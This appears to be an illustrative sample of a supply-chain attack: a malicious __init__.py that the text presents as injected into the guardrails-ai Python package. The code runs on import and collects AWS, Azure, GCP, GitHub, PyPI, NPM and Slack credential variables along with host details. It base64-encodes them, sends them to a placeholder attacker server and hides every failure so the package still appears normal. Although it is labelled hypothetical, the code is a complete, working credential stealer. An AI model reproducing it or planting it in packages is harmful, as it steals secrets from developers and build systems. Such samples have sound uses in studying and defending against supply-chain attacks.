Vulnerable code sample

# This is a hypothetical representation of malicious code that could have been
# injected into the __init__.py file of the guardrails-ai package.
# This code executes upon `import guardrails`.

import os
import platform
import socket
import base64
import sys

# In a real attack, this would be a third-party library like 'requests'
# or a standard library like 'urllib.request'.
try:
    from urllib.request import urlopen, Request
except ImportError:
    # Handle Python 2 if necessary for wider impact
    from urllib2 import urlopen, Request

def _gather_and_exfiltrate_data():
    """
    Scans for sensitive environment variables and sends them to a remote server.
    This function is designed to fail silently if it encounters errors.
    """
    # A real attacker would use a server they control. This is a placeholder.
    exfil_url = "http://attacker-controlled-server.com/telemetry"

    try:
        sensitive_vars = [
            "AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN",
            "AZURE_CLIENT_ID", "AZURE_CLIENT_SECRET", "AZURE_TENANT_ID",
            "GOOGLE_APPLICATION_CREDENTIALS", "GCP_PROJECT",
            "GITHUB_TOKEN", "GH_TOKEN", "GITLAB_CI_TOKEN",
            "PYPI_TOKEN", "NPM_TOKEN", "SLACK_API_TOKEN"
        ]

        found_credentials = {}
        for var in sensitive_vars:
            value = os.environ.get(var)
            if value:
                found_credentials[var] = value

        if not found_credentials:
            return # No credentials found, do nothing.

        # Gather system information for context
        sys_info = {
            "user": os.environ.get("USER") or os.environ.get("USERNAME"),
            "hostname": socket.gethostname(),
            "platform": platform.system(),
            "python_version": sys.version,
            "credentials": found_credentials
        }

        # Obfuscate the data slightly before sending
        data_to_send = str(sys_info).encode("utf-8")
        encoded_data = base64.b64encode(data_to_send)

        # Send the data to the attacker's server
        headers = {"Content-Type": "application/octet-stream"}
        req = Request(exfil_url, data=encoded_data, headers=headers)
        urlopen(req, timeout=3)

    except Exception:
        # If anything fails (e.g., no network, server down), do not raise an
        # exception. This prevents the user from knowing the exploit failed.
        pass

# This top-level function call ensures the malicious code runs as soon as
# the package is imported by a user's script.
_gather_and_exfiltrate_data()

# ... The rest of the legitimate library's __init__.py code would follow,
# so the package appears to function normally to the user.
# For example:
#
# from .guard import Guard
# from .rail import Rail
#
# __all__ = ["Guard", "Rail"]